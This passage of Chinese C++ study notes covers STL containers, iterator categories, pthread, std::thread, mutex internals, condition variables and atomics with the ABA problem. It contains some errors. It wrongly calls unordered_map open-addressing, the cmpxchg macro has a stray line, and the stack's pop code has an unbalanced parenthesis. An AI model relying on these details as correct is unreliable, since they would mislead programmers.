/*
map<int, int> mymap{
{1, 1},
{2, 3}
};
*/
```
### 16.3.2 *set/multiset*
set/multiset跟map不同，它通过值来进行排序，所以不能对存储的数据进行随意修改。思考一下，set和map都只能通过迭代器来进行访问，若set能随意修改迭代器对应的值那这个迭代器就失效了，因为值改变了需要重新排序。正因如此，set的迭代器使用operator*返回的类型是const的，就是防止你对其进行修改:
```cpp
set<int> myset = {1,2,3,4,5,6,7,8,9};
auto it = myset.find(4);
*it = *it + 6;
cout<<"*it:"<<*it<<endl;
/*
gcc下编译错误为assignment of read-only location ‘it.std::_Rb_tree_const_iterator<_Tp>::operator*<int>()’
通过源码我们可以看到set的迭代器的operator*重载函数返回的是const int&
*/
```
常用成员函数除*operator[]*外和*map*系列一致。
### 16.3.3 *unordered_map*/*unordered_multimap*
*unordered_map*内部使用*bucket hash*实现的*hashmap*，属于开放地址法的一种，默认构造函数后桶个数初始化为*11*。开放地址法是所有的元素都存放在散列表里，发生地址冲突时，按照某种方法继续探测*Hash*表中其它存储单元，直到找到空位置为止 。除了这种开放地址法我们还有封闭地址的方法，也叫拉链法，即冲突后再节点后面用链表延伸冲突的*key*，也可以改成用二叉树。
其中的哈希函数又采用的是*Fowler–Noll–Vo*算法，属于非密码学哈希函数，目前有三种，分别是*FNV-1*，*FNV-1a*和*FNV-0*，但是*FNV-0*算法已经被丢弃了。*FNV*算法的哈希结果有*32、64、128、256、512*和*1024*位等长度。如果需要哈希结果长度不属于以上任意一种，也可以根据*Changing the FNV hash size - xor-folding*上面的指导进行变换得到。4字节的特例化代码如下：
```cpp
///usr/include/c++/5.4.0/tr1/functional_hash.h
template<>
struct _Fnv_hash_base<4>
{
template<typename _Tp>
static size_t
hash(const _Tp* __ptr, size_t __clength)
{
size_t __result = static_cast<size_t>(2166136261UL);
const char* __cptr = reinterpret_cast<const char*>(__ptr);
for (; __clength; --__clength){
__result ^= static_cast<size_t>(*__cptr++);
__result *= static_cast<size_t>(16777619UL);
}
return __result;
}
};
```
另外密码学中常用的哈希算法还有*MD5、SHA1、SHA2、SHA256、SHA512、SHA3、RIPEMD160*。
常用成员函数除和map一样的之外还有：
```cpp
void rehash( size_type n );//Sets the number of buckets in the container to n or more.
float load_factor() const noexcept;//load_factor = size / bucket_count
hasher hash_function() const;
size_type bucket_count() const noexcept;
iterator begin() noexcept;
const_iterator begin() const noexcept;
local_iterator begin ( size_type n );
const_local_iterator begin ( size_type n ) const;//由于是无序map，所以不能保证是从哪一个元素开始，但是能保证的是从begin到end可以遍历所有的元素
```
### 16.3.4 *unordered_set*/*unordered_multiset*
常用成员函数除*operator[]*外和*unordered_map*系列一致。
### 16.3.5迭代器失效
RBT实现的容器的迭代器都属于bidirectional iterator，hashmap实现的容器的迭代器属于forward iterator。map/multimap/set/multiset只有被erase调元素对应的迭代器会失效，其他操作都不会导致迭代器失效；对于unordered系列来说erase会导致对应元素的迭代器失效，insert当且仅当插入时导致rehash（即重新设置bucket个数），那么所有的迭代器都会失效。
## 16.4 迭代器
迭代器分为5种，由一般到特殊(“高级”)可以把它分成五类，如下表所示：
| **iterator分类** | **能力** | **由谁提供** |
| :------------------------------------ | :------------------------- | :--------------------------------------------- |
| Output iterator 输出迭代器 | 向前写 | ostream, inserter |
| Input Input 输入迭代器 | 向前读, 每个元素只能读一次 | istream |
| Forward iterator 前向迭代器 | 向前读 | `forward_list`, unordered containers(无序容器) |
| Bidirectional iterator双向迭代器 | 可向前向后两个方向读取 | list, set(multiset), map(multimap) |
| Random-access iterator 随机访问迭代器 | 随机读取 | array, vector, deque, string, C风格数组 |
STL中的各种算法，包括` <algorithm> `中的以及各种容器的成员函数，还有各种功能函数，比如迭代器辅助函数(advance, next, prev, distance, iter_swap)等，有很多都是以迭代器作为输入参数的，这些函数中，形参类型越是“一般”，说明其使用范围越大。
比如std::sort快排只能接受RandomAccessIterator，那么std::sort就只能对array, vector, deque, string这几类容器进行排序：
```cpp
template <class RandomAccessIterator, class Compare>
void sort (RandomAccessIterator first, RandomAccessIterator last, Compare comp);
```
这里所说的“一般”指的就是上面5类迭代器中“低级”的迭代器，比如Input iterator和Output iterator就比Forward iterator一般，Forward iterator比Bidirectional iterator一般，Bidirectional iterator又比Random-access iterator一般。
假设有两个算法，f和g，f接受Input iterator类型的参数，而g接受Random-access类型的参数，那么f的作用范围就比g大，因为所有的Forward, Bidirectional和Random-access迭代器都可以作为f的参数，而g只能使用Random-access参数。
还有一个例子是各类容器都有一个范围构造函数类似于：
```cpp
template <class InputIterator>
vector (InputIterator first, InputIterator last,
const allocator_type& alloc = allocator_type());
template <class InputIterator>
list (InputIterator first, InputIterator last,
const allocator_type& alloc = allocator_type());
template <class InputIterator>
map (InputIterator first, InputIterator last,
const key_compare& comp = key_compare(),
const allocator_type& = allocator_type());
template <class InputIterator>
unordered_map ( InputIterator first, InputIterator last,
size_type n = /* see below */,
const hasher& hf = hasher(),
const key_equal& eql = key_equal(),
const allocator_type& alloc = allocator_type() );
```
这里面的迭代器类型为InputIterator，为最一般的迭代器，所以这些容器的构造函数能传入任意容器的迭代器来进行构造，就是说不同类型的容器之间可进行互相构造，包括传入一般的指针类型。这也体现了泛型编程的优势，将数据结构和接口分离，对于这些范围构造函数来说，传入的迭代器类型只要实现（++）操作即可在构造函数内部遍历从first到last的范围。
### 16.4.1 Output iterator 输出迭代器
| **支持的操作** | **功能描述** |
| :------------- | :------------------------------------ |
| *iter = value | 把value写入迭代器iter所指向位置的元素 |
| ++iter | 向前移动一个位置，返回新的位置 |
| iter++ | 向前移动一个位置，返回旧的位置 |
| TYPE(iter) | 拷贝构造函数 |
### 16.4.2 Input iterator 输入迭代器
一个纯粹的Input iterator 类型的迭代器，只能挨个元素向前只读地访问元素. 典型示例是读取标准键盘输入的迭代器，每个元素只能读取一次，且只能向前, 只能读取，不能修改。
| **支持的操作** | **功能描述** |
| :------------- | :--------------------------------------------------- |
| *iter | 读取元素 |
| iter->member | 访问iter出元素的成员 |
| ++iter | 向前移动一个位置，返回新元素位置 |
| iter++ | 向前移动一个位置, 不要求返回值。通常是返回旧元素位置 |
| iter1 == iter2 | 判等 |
| iter1 != iter2 | 判不等 |
| TYPE(iter) | 拷贝构造函数 |
### 16.4.3 Forward iterator 前向迭代器
Forward iterator 是一种特殊的Input iterator, 它在Input iterator的基础上提供了额外的保证：
它保证两个指向同一个元素的迭代器pos1, pos2， pos1 == pos2 返回true，并且对pos1, pos2调用自增操作符之后，二者仍然指向相同元素。
| **支持的操作** | **功能描述** |
| :------------- | :--------------------------------------------------- |
| *iter | 读取元素 |
| iter->member | 访问iter出元素的成员 |
| ++iter | 向前移动一个位置，返回新元素位置 |
| iter++ | 向前移动一个位置, 不要求返回值。通常是返回旧元素位置 |
| iter1 == iter2 | 判等 |
| iter1 != iter2 | 判不等 |
| TYPE() | 使用默认构造函数创建一个iterator |
| TYPE(iter) | 拷贝构造函数 |
| iter1 = iter2 | 赋值 |
### 16.3.4 Bidirectional iterator 双向迭代器
Bidirectional iterator是提供了回头访问能力的Forward iterator, 在Forward iterator支持的操作基础上，它提供了以下两个“回头”操作：
| **支持的操作** | **功能描述** |
| :------------- | :--------------------- |
| –iter | 回头走一步，返回新位置 |
| iter– | 回头走一步，返回旧位置 |
### 16.3.5 Random-access iterator 随机访问迭代器
Random-access iterator是功能最强大的迭代器类型，在Bidirectional iterator基础上提供了随机访问的功能，因此支持迭代器运算，类比指针运算。
| **支持的操作** | **功能描述** |
| :------------- | :------------------------------- |
| iter[n] | 取第n个位置的元素 |
| iter += n | 移动n个位置, 向前后取决于n的符号 |
| iter -= n | 移动n个位置, 向前后取决于n的符号 |
| iter + n | 返回移动n个位置后的迭代器 |
| iter - n | 返回移动n个位置后的迭代器 |
| iter1 - iter2 | 返回iter1和iter2间的距离 |
| iter1 < iter2 | iter1比iter2考前？ |
| iter1 <= iter2 | iter1不比iter2靠后？ |
| iter1 > iter2 | iter1比iter2靠后？ |
| iter1 >= iter2 | iter1不比iter2靠前？ |
# 17. C++11并发编程
*C++11*的*std::thread*是经过良好设计并且跨平台的线程表示方式，在类*Unix*平台上是对*pthread*进行的面向对象封装（增加了易用性，也损失了一些功能，所以*pthread*是*C++11*并发编程库的超集），比如*std::thread*的构造函数中调用的就是*pthread_create*来创建线程。如果在代码中使用了*std::thread*，还需要另外链接*libpthread.so*；而在*Windows*上有自己另外的封装。
我们首先来介绍一下*pthread*。
## 17.1 *pthread*
pthread是POSIX的线程标准，定义了创建和操纵线程的一套API。实现POSIX 线程标准的库常被称作**Pthreads**，一般用于Unix-like POSIX 系统，如Linux、Solaris。Linux的pthread实现是*Native POSIX Thread Library* (*NPTL*)。在Linux2.6之前进程是内核调度的实体，在内核中并不能真正支持线程。但是它的确可以通过 `clone()` 系统调用将进程作为可调度的实体。这个调用创建了调用进程（calling process）的一个拷贝，这个拷贝与调用进程共享相同的地址空间。LinuxThreads 项目使用这个调用来完全在用户空间模拟对线程的支持。不幸的是，这种方法有一些缺点，尤其是在信号处理、调度和进程间同步原语方面都存在问题。另外，这个线程模型也不符合 POSIX 的要求。要改进 LinuxThreads，非常明显我们需要内核的支持，并且需要重写线程库。有两个相互竞争的项目开始来满足这些要求。一个包括 IBM 的开发人员的团队开展了 NGPT（Next-Generation POSIX Threads）项目。同时，Red Hat 的一些开发人员开展了 NPTL 项目。NGPT 在 2003 年中期被放弃了，把这个领域完全留给了 NPTL。
> reference:
>
> https://www.ibm.com/developerworks/cn/linux/l-threading.html
>
> https://computing.llnl.gov/tutorials/pthreads/
pthread定义了一套C语言的类型、函数与常量，它以`pthread.h`头文件和一个线程库实现。
pthread API中大致共有100个函数调用，全都以"pthread_"开头，并可以分为四类：
- 线程管理，例如创建线程，等待(join)线程，查询线程状态等。
- 互斥锁（Mutex）：创建、摧毁、锁定、解锁、设置属性等操作
- 条件变量（Condition Variable）：创建、摧毁、等待、通知、设置与查询属性等操作
- 使用了互斥锁的线程间的同步管理
POSIX的Semaphore API可以和pthread协同工作，但这并不是pthread的标准。因而这部分API是以"sem\_"打头，而非"pthread_"。下面是一个简单用例：
``` cpp
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
static void wait(void)
{
time_t start_time = time(NULL);
while (time(NULL) == start_time){
/* do nothing except chew CPU slices for up to one second */
}
}
static void *thread_func(void *vptr_args)
{
int i;
for (i = 0; i < 20; i++){
fputs(" b\n", stderr);
wait();
}
return NULL;
}
int main(void)
{
int i;
pthread_t thread;
if (pthread_create(&thread, NULL, thread_func, NULL) != 0){
return EXIT_FAILURE;
}
for (i = 0; i < 20; i++){
puts("a");
wait();
}
if (pthread_join(thread, NULL) != 0){
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
```
## 17.2 *std::thread*
*std::thread*封装了*pthread*的线程管理接口，相对于*pthread*最方便的地方在于不需要将参数打包在一个*void\**中进行参数传入，*std::thread*使用模板函数对多参数进行了打包从而让我们能将参数一个一个的传入。
> reference:https://www.zhihu.com/question/30553807
常用的成员函数有：
```cpp
thread() noexcept;//默认构造函数并不代表有线程开始执行，non-joinable
template <class Fn, class... Args>
explicit thread (Fn&& fn, Args&&... args);//若参数为引用类型我们可以用std::ref进行转换
thread (const thread&) = delete;//禁止拷贝构造函数但是允许移动语义
thread (thread&& x) noexcept;
void detach();//不能被其他线程回收或杀死的，资源在终止时由系统自动释放
void join();//和detach一样执行之后都变成non-joinable，但是join为阻塞的
native_handle_type native_handle();//This member function is only present in class thread if the library implementation supports it. 例如在linux就获得pthread_t
id get_id() const noexcept;
~thread();//如果析构时thread仍然是joinable的，则会调用std::terminate()抛出异常
```
前面说*std::thread*损失了一些功能，比如说设置线程的*cpu affinity*，这时候我们可以通过`native_handle()`获得*pthread*的句柄，然后通过*pthread*的接口来设置*cpu affinity*：
```cpp
#include <thread>
#include <chrono>
#include <unistd.h>
#include <pthread.h>
using namespace std;
void Foo()
{
auto start = std::chrono::high_resolution_clock::now();
auto end = std::chrono::high_resolution_clock::now();
float ms = 0.0;
while(1){
int sum = 0;
start = std::chrono::high_resolution_clock::now();
for(int i=0;i<100000;++i){
sum += 1;
}
end = std::chrono::high_resolution_clock::now();
ms = std::chrono::duration<float, std::milli>(end - start).count();
usleep(ms * 1000);//让cpu占用率为50%
}
}
int main()
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(2, &cpuset);//设置cpu2的亲和性
thread t1(Foo);
pthread_t nativeThread = t1.native_handle();
pthread_setaffinity_np(nativeThread, sizeof(cpu_set_t), &cpuset);
t1.join();
return 0;
}
```
## 17.3 *std::mutex*
*std::mutex*互斥锁用来对临界区域加锁（可以理解为值为0或1的semaphore），和自旋锁(*spin lock*)的区别在于mutex是sleep-waiting。就是说当没有获得mutex时，会有上下文切换，将当前线程阻塞加到等待队列中，直到持有mutex的线程释放mutex并唤醒当前线程，这时CPU是空闲的，可以调度别的任务处理；而自旋锁是busy-waiting的，就是说当没有可用的锁时，就一直忙等待并不停的进行锁请求，直到得到这个锁为止，这个过程中CPU始终处于繁忙状态不能处理别的任务。
### 17.3.1 pthread_mutex_t加锁原理
linux平台的std::mutex是pthread_mutex_t封装，我们可以查看pthread_mutex_t源码来看std::mutex的实现，其结构体内容如下：
```cpp
typedef union
{
struct __pthread_mutex_s
{
int __lock;//mutex状态，0表示未占用，1表示占用
unsigned int __count;//用于可重入锁，记录owner线程持有锁的次数
int __owner;//owner线程ID
unsigned int __nusers;
/* KIND must stay at this position in the structure to maintain
binary compatibility. */
int __kind;//记录mutex的类型
int __spins;
__pthread_list_t __list;
} __data;
......
} pthread_mutex_t;
```
其中` __kind `有四种模式，分别为：
```cpp
PTHREAD_MUTEX_TIMED_NP//这是缺省值，也就是普通锁。
PTHREAD_MUTEX_RECURSIVE_NP//可重入锁，允许同一个线程对同一个锁成功获得多次，并通过多次unlock解锁。
PTHREAD_MUTEX_ERRORCHECK_NP//检错锁，如果同一个线程重复请求同一个锁，则返回EDEADLK，否则与PTHREAD_MUTEX_TIMED_NP类型相同。
PTHREAD_MUTEX_ADAPTIVE_NP//自适应锁，自旋锁与普通锁的混合。
```
而C++11其实只实现了普通锁std::mutex和重入锁std::recursive_mutex，C++17多了shared_mutex（读写锁），自旋锁需要我们自己实现，我们会在17.5章节中使用std::atomic来实现。
pthread中使用 pthread_mutex_lock接口来对4种锁进行加锁，我们可以看一下其中的操作：
```cpp
if (__builtin_expect (type, PTHREAD_MUTEX_TIMED_NP) == PTHREAD_MUTEX_TIMED_NP)
{
simple:
/* Normal mutex.普通锁 */
LLL_MUTEX_LOCK (mutex);//调用LLL_MUTEX_LOCK宏获得锁
assert (mutex->__data.__owner == 0);
} else if (__builtin_expect (type == PTHREAD_MUTEX_RECURSIVE_NP, 1)) {
/* Recursive mutex.当发现owner就是自身，只是简单的自增__count成员即返回。否则，调用LLL_MUTEX_LOCK宏获得锁，若能成功获得，设置__count = 1，否则挂起。*/
/* Check whether we already hold the mutex. */
if (mutex->__data.__owner == id)
{
/* Just bump the counter. */
if (__builtin_expect (mutex->__data.__count + 1 == 0, 0))
/* Overflow of the counter. */
return EAGAIN;
++mutex->__data.__count;
return 0;
}
/* We have to get the mutex. */
LLL_MUTEX_LOCK (mutex);
assert (mutex->__data.__owner == 0);
mutex->__data.__count = 1;
} else if (__builtin_expect (type == PTHREAD_MUTEX_ADAPTIVE_NP, 1)) {
/*spin lock，这种锁分两个阶段。第一阶段是自旋锁（spin lock），忙等待一段时间后，若还不能获得锁，则转变成普通锁。所谓“忙等待”，在x86处理器下是重复执行nop指令，nop是x86的小延迟函数：*/
if (! __is_smp)
goto simple;
if (LLL_MUTEX_TRYLOCK (mutex) != 0)
{
int cnt = 0;
int max_cnt = MIN (MAX_ADAPTIVE_COUNT, mutex->__data.__spins * 2 + 10);
do
{
if (cnt++ >= max_cnt)
{
LLL_MUTEX_LOCK (mutex);
break;
}
#ifdef BUSY_WAIT_NOP
BUSY_WAIT_NOP;//#define BUSY_WAIT_NOP asm ("rep; nop")
#endif
}
while (LLL_MUTEX_TRYLOCK (mutex) != 0);
mutex->__data.__spins += (cnt - mutex->__data.__spins) / 8;
}
assert (mutex->__data.__owner == 0);
} else {
assert (type == PTHREAD_MUTEX_ERRORCHECK_NP);
/* Check whether we already hold the mutex.它会侦测一个线程重复申请锁的情况，如遇到，报EDEADLK，从而避免这种最简单的死锁情形。若无死锁情形，goto simple语句会跳到普通锁的处理流程。*/
if (__builtin_expect (mutex->__data.__owner == id, 0))
return EDEADLK;
goto simple;
}
```
通过上面的代码我们可以看到获取锁的核心代码是*LLL_MUTEX_LOCK*宏，该宏的实现为：
```cpp
#define LLL_MUTEX_LOCK(mutex) \
lll_lock ((mutex)->__data.__lock, PTHREAD_MUTEX_PSHARED (mutex))//PTHREAD_MUTEX_PSHARED宏表示该锁是进程锁还是线程锁，0表示线程锁，128表示进程锁
```
通过该宏我们可以看到将mutex的\_\_data.\_\_lock字段传入了lll\_lock函数中进行lock状态的修改，lll_lock的实现代码如下：
```c
__lll_lock (int *futex, int private)
{
int val = atomic_compare_and_exchange_val_24_acq (futex, 1, 0);
if (__glibc_unlikely (val != 0))
{
if (__builtin_constant_p (private) && private == LLL_PRIVATE)
__lll_lock_wait_private (futex);
else
__lll_lock_wait (futex, private);
}
}
```
*atomic_compare_and_exchange_val_24_acq*和我们std::atomic的成员函数compare_exchange_strong的功能一样，若futex的值等于0，表示锁可以被当前线程占用，则将其置为1，val返回0；若futex值不等0，表示锁被其他线程占用，则futex不变，val返回1。后面判断若`val != 0`则调用`__lll_lock_wait`进行等待：
```c
/*
futex有三种状态
0 锁空闲
1 没有waiter，解锁之后无需调用futex_wake
2 有waiter，那么解锁之后需要调用futex_wake
*/
void __lll_lock_wait (int *futex, int private)
{
/* 非第一个线程会阻塞在这里 */
if (*futex == 2)
lll_futex_wait (futex, 2, private); /* Wait if *futex == 2. */
/* 第一个线程会阻塞在这里，atomic_exchange_acq返回当前futex值并将其赋为2*/
while (atomic_exchange_acq (futex, 2) != 0)
lll_futex_wait (futex, 2, private); /* Wait if *futex == 2. */
}
```
最终在`__lll_lock_wait`中调用` lll_futex_wait `，` lll_futex_wait `是个宏，展开后为：
```c
#define lll_futex_wait(futex, val) \
({ \
...
__asm __volatile (LLL_EBX_LOAD \
LLL_ENTER_KERNEL \
LLL_EBX_LOAD \
: "=a" (__status) \
: "0" (SYS_futex), LLL_EBX_REG (futex), "S" (0), \
"c" (FUTEX_WAIT), "d" (_val), \
"i" (offsetof (tcbhead_t, sysinfo)) \
: "memory"); \
... \
})
```
可以看到当发生竞争的时候，会调用SYS_futex系统调用， 调用futex系统调用的futex_wait操作进行排队。因为用户空间并不知道内核的futex队列中是否还有其它锁竞争的任务在等待，所以系统调用阻塞唤醒回到用户空间，对futex尝试上锁，必须以锁竞争状态来上锁，以使自己解锁时，会调用futex_wake。 futex的优点在于只有当处于竞争状态的时候才会调用系统调用陷入内核。
### 17.3.2 常用函数
```cpp
void lock();//如果当前mutx被其他线程锁定，则该接口会阻塞当前线程直至解锁；如果被同一个线程锁定，则会造成死锁
native_handle_type native_handle();//和native_handle类似，在linux下会获得pthread_mutex_t
bool try_lock();//若锁被其他线程占用会返回false，若被自己占用会造成死锁
void unlock();//If the mutex is not currently locked by the calling thread, it causes undefined behavior.
```
### 17.3.3 相关类
#### 17.3.3.1 lock_guard
这个接口我们在前文介绍过，通过RAII实现，生成对象时就加锁，在析构时进行解锁，所以锁的生命周期和对象的生命周期一样，使用方式像下面这样：
```cpp
std::mutex mtx;
{
std::lock_guard<std::mutex> lck (mtx);
}//此时生命周期为大括号
```
对象不能复制只能移动。
#### 17.3.3.2 unique_lock
unique_lock和lock_guard类似，默认情况下锁的生命周期也是和对象一样，但是我们可以通过传入不同的参数进行灵活修改：
| value | description |
| ----------- | ------------------------------------------------------------ |
| *(no tag)* | Lock on construction by calling member lock. |
| try_to_lock | Attempt to lock on construction by calling member try_lock. |
| defer_lock | Do not lock on construction (and assume it is not already locked by thread). |
| adopt_lock | Adopt current lock (assume it is already locked by thread). |
所以unique_lock有如下构造函数：
```cpp
unique_lock() noexcept;
explicit unique_lock (mutex_type& m);
unique_lock (mutex_type& m, try_to_lock_t tag);
unique_lock (mutex_type& m, defer_lock_t tag) noexcept;
unique_lock (mutex_type& m, adopt_lock_t tag);
template <class Rep, class Period>
unique_lock (mutex_type& m, const chrono::duration<Rep,Period>& rel_time);
template <class Clock, class Duration>
unique_lock (mutex_type& m, const chrono::time_point<Clock,Duration>& abs_time);
unique_lock (const unique_lock&) = delete;
unique_lock (unique_lock&& x);
```
可以看到我们还能设定加锁时间，另外我们也可以不在构造函数时设定这些属性，可以通过成员函数重新设定：
```cpp
explicit operator bool() const noexcept;//true is the object owns a lock on the managed mutex object.
bool owns_lock() const noexcept;//true is the object owns a lock on the managed mutex object.
mutex_type* release() noexcept;//Returns a pointer to the managed mutex object, releasing ownership over it.
void lock();//Calling lock on a mutex object that has already been locked by other threads causes the current thread to block (wait) until it can own a lock to it.
bool try_lock();
template <class Rep, class Period>
bool try_lock_for (const chrono::duration<Rep,Period>& rel_time);//加锁一段时间，加锁成功返回true
template <class Clock, class Duration>
bool try_lock_until (const chrono::time_point<Clock,Duration>& abs_time);//一段时间后加锁，加锁成功返回true
```
### 17.3.4 recursive_mutex
mutex可以分为递归锁(recursive mutex)和非递归锁(non-recursive mutex)。可递归锁也可称为可重入锁(reentrant mutex)，非递归锁又叫不可重入锁(non-reentrant mutex)。
二者唯一的区别是，同一个线程可以多次获取同一个递归锁，不会产生死锁。而如果一个线程多次获取同一个非递归锁，则会产生死锁。
### 17.3.5 shared_mutex
这个锁就是我们平时所说的读写锁，线程可以将其设置为独占，在非独占的情况先多个线程可共享。所以有两种加锁方式，在C++17中实现。
## 17.4 *std::condition_variable*
条件变量用于阻塞当前线程直至有信号量通知，举个例子来说：
```cpp
std::mutex mutex;
std::condition_variable cv;
std::string data;
bool ready = false;
bool processed = false;
void Worker() {
std::unique_lock<std::mutex> lock(mutex);
cv.wait(lock, [] { return ready; });
std::cout << "worker is processing data..." << std::endl;
std::this_thread::sleep_for(std::chrono::seconds(1));
data += " done";
processed = true;
std::cout << "worker notify main thread" << std::endl;
lock.unlock();
cv.notify_one();
}
int main() {
std::thread worker(Worker);
{
std::lock_guard<std::mutex> lock(mutex);
std::cout << "main thread is preparing for data..." << std::endl;
std::this_thread::sleep_for(std::chrono::seconds(1));
data = "sample data";
ready = true;
std::cout << "main thread get ready for data" << std::endl;
}
cv.notify_one();
{
std::unique_lock<std::mutex> lock(mutex);
cv.wait(lock, [] { return processed; });
}
std::cout << "back to main thread, data:" << data << std::endl;
worker.join();
return 0;
}
```
程序一开始先启动worker线程并获得mutex锁，之后调用std::condition_variable::wait，由于当前ready为false则调用wait()释放mutex锁并阻塞当前线程等待被唤醒。与此同时主线程继续执行，使用lock_guard获得mutex锁，生成数据，将ready置成true，离开大括号作用域后lock_guard析构释放mutex锁并调用std::condition_variable::notify_one()通知wait的线程。此时主线程重新阻塞去竞争获得mutex锁。worker线程被唤醒后加锁，wait函数判断此时ready返回true不再调用wait阻塞当前线程，接着处理完数据之后将processed置true并对mutex进行解锁，最后通知主线程。此时主线程有可能被阻塞在竞争mutex的地方被唤醒并加锁，在wait函数判断processed为true后直接继续执行程序；有可能在wait被唤醒并加锁，重新判断processed返回true后继续运行，最终结束程序。
### 17.4.1 *Lost Wakeup and Spurious Wakeup*
* *Lost Wakeup*是指一个线程的*std::condition_variable::notify_one()*发生在了另外一个线程std::condition_variable::wait()之前，这样调用std::condition_variable::wait()的线程就不会被唤醒
* *Spurious Wakeup*是指一个调用std::condition_variable::wait()的线程被系统中断(EINTR)唤醒而不是被真正等待的线程唤醒，这是一种虚假的唤醒现象
为了防止这两种情况发生，根据CppCoreGuidelines CP.42: Don't `wait` without a condition，即调用wait函数时一定要加上一个Predicate函数，wait函数当Predicate返回false时才会真正调用wait函数，返回true时并不会去调用wait阻塞等待锁并加锁。
### 17.4.2 常用函数
```cpp
void notify_all() noexcept;//还有非成员函数void notify_all_at_thread_exit (condition_variable& cond, unique_lock<mutex> lck);
void notify_one() noexcept;//如果有多个线程都在等待，会随机唤醒一个线程
void wait (unique_lock<mutex>& lck);//该函数会阻塞当前线程直到被唤醒，被阻塞的同时当前线程会主动调用lck.unlock()释放其管理的锁，被唤醒之后主动加锁。
template <class Predicate>
void wait (unique_lock<mutex>& lck, Predicate pred);//该函数和上一个重载的区别在于当callable的pred返回false才会执行wait，返回true的时候不会去调用wait，此时若在之前没有进行加锁则就没有获得锁，该操作相当于while (!pred()) wait(lck);(which is specially useful to check against spurious wake-up calls)
template <class Clock, class Duration>
cv_status wait_until (unique_lock<mutex>& lck,
const chrono::time_point<Clock,Duration>& abs_time);//当等待时间到了会返回cv_status::timeout，否则为cv_status::no_timeout
template <class Clock, class Duration, class Predicate>
bool wait_until (unique_lock<mutex>& lck,
const chrono::time_point<Clock,Duration>& abs_time,
Predicate pred);
```
## 17.5 *std::atomic*
std::atomic<T>模板类，生成一个T类型的原子对象，并提供了一系列原子操作函数。其中T是trivially copyable type满足：要么全部定义了拷贝/移动/赋值函数，要么全部没定义；没有虚成员；基类或其它任何非static成员都是trivally copyable。典型的内置类型bool、int等属于trivally copyable。再如class triviall{public: int x};也是。T能够被memcpy、memcmp函数使用，从而支持compare/exchange系列函数。有一条规则：不要在保护数据中通过用户自定义类型T通过参数指针或引用使得共享数据超出保护的作用域。atomic\<T\>编译器通常会使用一个内部锁保护，而如果用户自定义类型T通过参数指针或引用可能产生死锁。总之限制T可以更利于原子指令。注意某些原子操作可能会失败，比如atomic\<float\>、atomic\<double\>在compare_exchange_strong()时和expected相等但是内置的值表示形式不同于expected，还是返回false，没有原子算术操作针对浮点数;同理一些用户自定义的类型T由于内存的不同表示形式导致memcmp失败，从而使得一些相等的值仍返回false。
### 17.5.1 原子操作原理
C++11新引入的std::atomic主要是通过硬件的cmpxchgl(CAS,compare and swap)指令实现，linux内核将cmpxchgl封装成函数cmpxchg，实现如下：
```cpp
#define cmpxchg( ptr, _old, _new ) { \
volatile uint32_t *__ptr = (volatile uint32_t *)(ptr); \
uint32_t __ret; \
asm volatile( "lock; cmpxchgl %2,%1" \
: "=a" (__ret), "+m" (*__ptr) \
: "r" (_new), "0" (_old) \
: "memory"); \
); \
__ret; \
}
```
作用为将ptr的保存值和\_old进行比较，若相等则将\_new存入ptr，否则返回ptr保存的值。可以看到cmpxchgl指令前加了lock前缀，lock保证了指令不会受其他处理器或cpu核的影响。在PentiumPro之前，lock的实现，是通过锁住bus（总线），从而阻止其他cpu核的内存访问。可想而知，这种实现是非常低效的。从PentiumPro开始，lock只会阻塞其他cpu核对相关内存的缓存块的访问。
std::mutex的加锁过程其实也是有cmpxchg参与，只不过当发生竞争的时候会陷入内核进行等待，这时候性能会比较低，所以能用原子操作的尽量使用原子操作。
### 17.5.2 ABA问题
CAS在执行过程中有可能会因为ABA问题导致结果错误，我们通过atomic实现一个stack来介绍什么是ABA问题：
```cpp
template<typename _Ty>
struct LockFreeStackT
{
struct Node
{
_Ty val;
Node* next;
};
LockFreeStackT() : head_(nullptr) {}
void push(const _Ty& val)
{
Node* node = new Node{ val, head_.load() };
while (!head_.compare_exchange_strong(node->next, node));
/*compare_exchange_strong函数用对象和第一个参数进行比较，如果相等则将对象的值替换为第二个参数并返回true，如果不相等，则将第一个参数的值赋为对象并返回false：
if (head_ == node->next) {
head_ = node;
return true;
} else {
node->next = head_;
return false;
}
*/
}
void pop()
{
Node* node = head_.load();
while (node && !head_.compare_exchange_strong(node, node->next);
if (node) delete node;
}
std::atomic<Node*> head_;
};
```
整个逻辑很简单，如果新元素的next和栈顶一样，证明在你之前没人操作它，使用新元素替换栈顶退出即可；如果不一样，证明在你之前已经有人操作它，head\_在新建node之后被其他线程改动，而node->next仍然指向之前的head_，此时栈顶已发生改变，该函数会自动更新新元素的next值为改变后的栈顶；然后继续循环检测直到状态1成立退出。
假设现有两条线程，栈为A->B，此时线程1对栈进行pop操作，在CAS之前CPU切换去处理线程2。线程2此时连pop两次，将A和B都pop出来，又进行push操作，由于操作系统很可能会分配刚刚释放的内存，所以重新new的数据可能就是刚刚释放地址。此时CPU切到线程1，线程1进行CAS判断此时的head仍然是A，所以将A pop出来将B这个已经释放的内存设为栈顶。解决ABA问题的办法无非就是通过打标签的方式给每个节点进行打标签，而不是通过地址进行判断。
### 17.5.3 常用函数
```cpp
bool is_lock_free() const volatile;//判断atomic<T>中的T对象是否为lock free的，若是返回true。lock free(锁无关)指多个线程并发访问T不会出现data race，任何线程在任何时刻都可以不受限制的访问T
bool is_lock_free() const;
atomic() = default;//默认构造函数，T未初始化，可能后面被atomic_init(atomic<T>* obj,T val )函数初始化
constexpr atomic(T val);//T由val初始化
atomic(const atomic &) = delete;//禁止拷贝
atomic & operator=(const atomic &) = delete;//atomic对象间的相互赋值被禁止，但是可以显示转换再赋值，如atomic<int> a=static_cast<int>(b)这里假设atomic<int> b
atomic & operator=(const atomic &) volatile = delete;//atomic间不能赋值
T operator=(T val) volatile;//可以通过T类型对atomic赋值，如：atomic<int> a;a=10;
T operator=(T val);
operator T() const volatile;//读取被封装的T类型值，是个类型转换操作，默认内存序是memory_order_seq需要其它内存序则调用load
operator T() const;//如：atomic<int> a,a==0或者cout<<a<<endl都使用了类型转换函数
//以下函数可以指定内存序memory_order
T exchange(T val, memory_order = memory_order_seq_cst) volatile;//将T的值置为val，并返回原来T的值
T exchange(T val, memory_order = memory_order_seq_cst);
void store(T val, memory_order = memory_order_seq_cst) volatile;//将T值设为val
void store(T val, memory_order = memory_order_seq_cst);
T load(memory_order = memory_order_seq_cst) const volatile;//访问T值
